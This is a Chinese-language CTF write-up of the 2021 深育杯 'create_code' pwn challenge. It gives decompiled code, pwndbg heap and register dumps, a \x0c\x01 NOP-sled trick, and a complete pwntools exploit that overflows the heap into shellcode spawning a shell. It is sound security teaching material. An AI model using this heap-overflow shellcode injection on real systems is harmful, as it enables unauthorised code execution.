前言 这里先了解一个指令\x0c\x01可以当作一个无害的nop指令,执行一次可以滑过两个字节
[深育杯 2021]create_code 查看保护 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ❯ checksec flag [*] '/home/voyager/flag' Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments SHSTK: Enabled IBT: Enabled ~ via C v11.4 .0 -gcc via 🐍 v3.10 .12 ❯
IDA add函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ssize_t sub_13F0() { int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 buf; // [rsp+8h] [rbp-8h] v1 = 0 ; if ( dword_4040 > 46 ) return write(1 , "no more data.\n" , 0xFu); ++dword_4040; buf = (unsigned __int64)malloc(0x324u); mprotect((void *)(buf & 0xFFFFFFFFFFFFF000LL), 0x1000u, 7 ); write(1 , "content: " , 9u); read(0 , (void *)buf, 0x3E8u); qword_4060[dword_4040] = buf; if ( *(_DWORD *)buf == 0xF012F012 ) 检查前四个字节 { while ( v1 <= 999 ) { if ( *(_BYTE *)(buf + v1 + 4 ) > 0xFu ) *(_BYTE *)(buf + v1 + 4 ) = 0 ; ++v1; } qword_4048 = buf + 4 ; ((void (*)(void))(buf + 4 ))(); } else { *(_DWORD *)buf = 4 ; } return write(1 , "create successfully.\n" , 0x15u); }
1 2 3 def add (content ): r.sendlineafter(b"> " ,str (1 )) r.sendlineafter(b"content: " ,content)
但是这里有个误区,p32(8)输出的是4个字节,那是因为上面add函数那个检测美国大小被强制为4
get函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 sub_153E() { __int64 result; // rax write(1 , "id: " , 4u); result = sub_132A(); if ( (_DWORD)result != -1 ) { if ( (int )result <= dword_4040 ) return write(1 , (const void *)(qword_4060[(int )result] + 4LL), *(unsigned int *)qword_4060[(int )result]); else return write(1 , "Index out of range.\n" , 0x14u); } return result; }
1 2 3 def get (id ): r.sendlineafter(b"> " ,str (2 )) r.sendlineafter(b"id: " ,str (id ))
delete函数 这个就是常规的,没什么好说的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 __int64 sub_15F0() { __int64 result; // rax int i; // [rsp+8h] [rbp-8h] int v2; // [rsp+Ch] [rbp-4h] write(1 , "id: " , 4u); result = sub_132A(); v2 = result; if ( (_DWORD)result != -1 ) { if ( (int )result <= dword_4040 ) { free((void *)qword_4060[(int )result]); --dword_4040; for ( i = v2; i <= 46 ; ++i ) qword_4060[i] = qword_4060[i + 1 ]; return write(1 , "delete successfully\n" , 0x14u); } else { return write(1 , "Index out of range.\n" , 0x14u); } } return result; }
1 2 3 def free (id ): r.sendlineafter(b"> " ,str (3 )) r.sendlineafter(b"id: " ,str (id ))
思路 堆溢出 这里看下释放前后heap图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 pwndbg> x/20gx 0x64a5e65e1290 0x64a5e65e1290 : 0x0000000000000000 0x0000000000000331 0x64a5e65e12a0 : 0x0000000a00000004 0x0000000000000000 0x64a5e65e12b0 : 0x0000000000000000 0x0000000000000000 0x64a5e65e12c0 : 0x0000000000000000 0x0000000000000000 0x64a5e65e12d0 : 0x0000000000000000 0x0000000000000000 0x64a5e65e12e0 : 0x0000000000000000 0x0000000000000000 0x64a5e65e12f0 : 0x0000000000000000 0x0000000000000000 0x64a5e65e1300 : 0x0000000000000000 0x0000000000000000 0x64a5e65e1310 : 0x0000000000000000 0x0000000000000000 0x64a5e65e1320 : 0x0000000000000000 0x0000000000000000 pwndbg> x/1 10gx 0x64a5e65e15c0 0x64a5e65e15c0 : 0x0000000000000000 0x0000000000000331 0x64a5e65e15d0 : 0x6161616100000004 0x6161616161616161 0x64a5e65e15e0 : 0x6161616161616161 0x6161616161616161 0x64a5e65e15f0 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1600 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1610 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1620 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1630 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1640 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1650 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1660 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1670 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1680 : 0x6161616161616161 !!shellcode开始处:0xb848686a010c010c 0x64a5e65e1690 : 0x732f2f2f6e69622f 0x01697268e7894850 0x64a5e65e16a0 : 0x0101010124348101 0x01485e086a56f631 0x64a5e65e16b0 : 0x6ad231e6894856e6 0x0000000a050f583b
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pwndbg> x/20gx 0x64a5e65e1290 0x64a5e65e1290 : 0x0000000000000000 0x0000000000000331 0x64a5e65e12a0 : 0x000000064a5e65e1 0x26840bdb37904efa 0x64a5e65e12b0 : 0x0000000000000000 0x0000000000000000 0x64a5e65e12c0 : 0x0000000000000000 0x0000000000000000 0x64a5e65e12d0 : 0x0000000000000000 0x0000000000000000 0x64a5e65e12e0 : 0x0000000000000000 0x0000000000000000 0x64a5e65e12f0 : 0x0000000000000000 0x0000000000000000 0x64a5e65e1300 : 0x0000000000000000 0x0000000000000000 0x64a5e65e1310 : 0x0000000000000000 0x0000000000000000 0x64a5e65e1320 : 0x0000000000000000 0x0000000000000000 pwndbg> x/1 10gx 0x64a5e65e15c0 0x64a5e65e15c0 : 0x0000000000000000 0x0000000000000331 0x64a5e65e15d0 : 0x6161616100000004 0x6161616161616161 0x64a5e65e15e0 : 0x6161616161616161 0x6161616161616161 0x64a5e65e15f0 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1600 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1610 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1620 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1630 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1640 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1650 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1660 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1670 : 0x6161616161616161 0x6161616161616161 0x64a5e65e1680 : 0x6161616161616161 !!shellcode开始处:0xb848686a010c010c 0x64a5e65e1690 : 0x732f2f2f6e69622f 0x01697268e7894850 0x64a5e65e16a0 : 0x0101010124348101 0x01485e086a56f631 0x64a5e65e16b0 : 0x6ad231e6894856e6 0x0000000a050f583b 0x64a5e65e16c0 : 0x0000000000000000 0x0000000000000000 0x64a5e65e16d0 : 0x0000000000000000 0x0000000000000000
0x330+0xb8=0x3e8刚刚好
为什么shellcode前面还要设置nop 可能有人疑问为什么shellcode前面还要再次设置nop,这是没有nop的情况,可以看到当执行call rdx后,rip指向的地址有\x00\x00\x00\x00,所以要执行两次nop滑过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 0x55bac81c5513 call rdx <0x55bb00dab2a4 > 0x55bac81c5515 jmp 0x55bac81c5521 <0x55bac81c5521 > ↓ 0x55bac81c5521 mov edx, 0x15 EDX => 0x15 0x55bac81c5526 lea rsi, [rip + 0xb1f ] RSI => 0x55bac81c604c ◂— 'create successfully.\n' 0x55bac81c552d mov edi, 1 EDI => 1 0x55bac81c5532 mov eax, 0 EAX => 0 0x55bac81c5537 call write@plt <write@plt> 0x55bac81c553c leave 0x55bac81c553d ret ───────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────── 00 :0000 │ rsp 0x7ffd6474f300 ◂— 0x3e85cb1f040 01:0008│-008 0x7ffd6474f308 —▸ 0x55bb00dab2a0 ◂— 0x10c010cf012f012 02:00 10│ rbp 0x7ffd6474f310 —▸ 0x7ffd6474f330 ◂— 1 03:0018│+008 0x7ffd6474f318 —▸ 0x55bac81c57a1 ◂— jmp 0x55bac81c5807 04:0020│+0 10 0x7ffd6474f320 ◂— 0x31000000000001 05:0028│+018 0x7ffd6474f328 ◂— 0x82b69cba49a27500 06:0030│+020 0x7ffd6474f330 ◂— 1 07:0038│+028 0x7ffd6474f338 —▸ 0x7d295c829d90 (__libc_start_call_main+128 ) ◂— mov edi, eax ─────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────── ► 0 0x55bac81c5513 None 1 0x55bac81c57a1 None 2 0x7d295c829d90 __libc_start_call_main+128 3 0x7d295c829e40 __libc_start_main+128 4 0x55bac81c514e None ─────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> n Program received signal SIGSEGV, Segmentation fault. 0x000055bb00dab688 in ?? ()LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────── *RAX 1 RBX 0 RCX 8 RDX 0x55bb00dab2a4 ◂— 0x10c010c010c010c RDI 0 RSI 0x55bb00dab2a0 ◂— 0x10c010cf012f012 R8 0x1999999999999999 R9 0 R10 0x7d295c9beac0 (_nl_C_LC_CTYPE_toupper+512 ) ◂— 0x100000000 R11 0x246 R12 0x7ffd6474f448 —▸ 0x7ffd64751411 ◂— 0x530067616c662f2e /* './flag' */ R13 0x55bac81c56ee ◂— endbr64 R14 0 R15 0x7d295cb1f040 (_rtld_global) —▸ 0x7d295cb202e0 —▸ 0x55bac81c4000 ◂— 0x10102464c457f RBP 0x7ffd6474f310 —▸ 0x7ffd6474f330 ◂— 1 *RSP 0x7ffd6474f2f8 —▸ 0x55bac81c5515 ◂— jmp 0x55bac81c5521 *RIP 0x55bb00dab688 ◂— 0x6e69622f00000000 ─────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────── ► 0x55bb00dab688 add byte ptr [rax], al 0x55bb00dab68a add byte ptr [rax], al
加上后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 regs off ]───────────────────────── *RAX 0 RBX 0 RCX 8 RDX 0x5b98e390b2a4 ◂— 0x10c010c010c010c RDI 0 RSI 0x5b98e390b2a0 ◂— 0x10c010cf012f012 R8 0x1999999999999999 R9 0 R10 0x7da9e77beac0 (_nl_C_LC_CTYPE_toupper+512 ) ◂— 0x100000000 R11 0x246 R12 0x7ffe0216c678 —▸ 0x7ffe0216d411 ◂— 0x530067616c662f2e /* './flag' */ R13 0x5b98cfb186ee ◂— endbr64 R14 0 R15 0x7da9e7881040 (_rtld_global) —▸ 0x7da9e78822e0 —▸ 0x5b98cfb17000 ◂— 0x10102464c457f RBP 0x7ffe0216c540 —▸ 0x7ffe0216c560 ◂— 1 RSP 0x7ffe0216c530 ◂— 0x3e8e7881040 *RIP 0x5b98cfb18513 ◂— call rdx ─────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────── b+ 0x5b98cfb18507 mov rdx, qword ptr [rip + 0x2b3a ] RDX, [0x5b98cfb1b048 ] => 0x5b98e390b2a4 ◂— 0x10c010c010c010c 0x5b98cfb1850e mov eax, 0 EAX => 0 ► 0x5b98cfb18513 call rdx <0x5b98e390b2a4 > 0x5b98cfb18515 jmp 0x5b98cfb18521 <0x5b98cfb18521 > ↓ 0x5b98cfb18521 mov edx, 0x15 EDX => 0x15 0x5b98cfb18526 lea rsi, [rip + 0xb1f ] RSI => 0x5b98cfb1904c ◂— 'create successfully.\n' 0x5b98cfb1852d mov edi, 1 EDI => 1 0x5b98cfb18532 mov eax, 0 EAX => 0 0x5b98cfb18537 call write@plt <write@plt> 0x5b98cfb1853c leave 0x5b98cfb1853d ret ───────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────── 00 :0000 │ rsp 0x7ffe0216c530 ◂— 0x3e8e7881040 01:0008│-008 0x7ffe0216c538 —▸ 0x5b98e390b2a0 ◂— 0x10c010cf012f012 02:00 10│ rbp 0x7ffe0216c540 —▸ 0x7ffe0216c560 ◂— 1 03:0018│+008 0x7ffe0216c548 —▸ 0x5b98cfb187a1 ◂— jmp 0x5b98cfb18807 04:0020│+0 10 0x7ffe0216c550 ◂— 0x31000000000001 05:0028│+018 0x7ffe0216c558 ◂— 0xed82ee3a7f03cb00 06:0030│+020 0x7ffe0216c560 ◂— 1 07:0038│+028 0x7ffe0216c568 —▸ 0x7da9e7629d90 (__libc_start_call_main+128 ) ◂— mov edi, eax ─────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────── ► 0 0x5b98cfb18513 None 1 0x5b98cfb187a1 None 2 0x7da9e7629d90 __libc_start_call_main+128 3 0x7da9e7629e40 __libc_start_main+128 4 0x5b98cfb1814e None ─────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> n process 7495 is executing new program: /usr/bin /dash Python Exception <class 'pwndbg.dbg.Error' >: Cannot access memory at address 0x5b98cfb18000 Error in re-setting breakpoint 1 : Error occurred in Python: Cannot access memory at address 0x5b98cfb18000 Python Exception <class 'pwndbg.dbg.Error' >: Cannot access memory at address 0x5b98cfb18000 Error in re-setting breakpoint 1 : Error occurred in Python: Cannot access memory at address 0x5b98cfb18000 Python Exception <class 'pwndbg.dbg.Error' >: Cannot access memory at address 0x5b98cfb18000 Error in re-setting breakpoint 1 : Error occurred in Python: Cannot access memory at address 0x5b98cfb18000 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1" . Python Exception <class 'pwndbg.dbg.Error' >: Cannot access memory at address 0x5b98cfb18000 Error in re-setting breakpoint 1 : Error occurred in Python: Cannot access memory at address 0x5b98cfb18000
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *r=process("./flag" ) context(arch='amd64' , os='linux' , log_level='debug' ) elf=ELF("./flag" ) def add (content ): r.sendlineafter(b"> " ,str (1 )) r.sendlineafter(b"content: " ,content) def get (id ): r.sendlineafter(b"> " ,str (2 )) r.sendlineafter(b"id: " ,str (id )) def free (id ): r.sendlineafter(b"> " ,str (3 )) r.sendlineafter(b"id: " ,str (id )) add(b'a' *4 ) add(b'a' *0xb8 + b'\x0c\x01' *2 + asm(shellcraft.sh())) gdb.attach(r) free(0 ) add(p32(0xF012F012 ) + b'\x0c\x01' *(0x3e8 //2 )) gdb.attach(r, 'b *$rebase(0x1507)' ) r.interactive()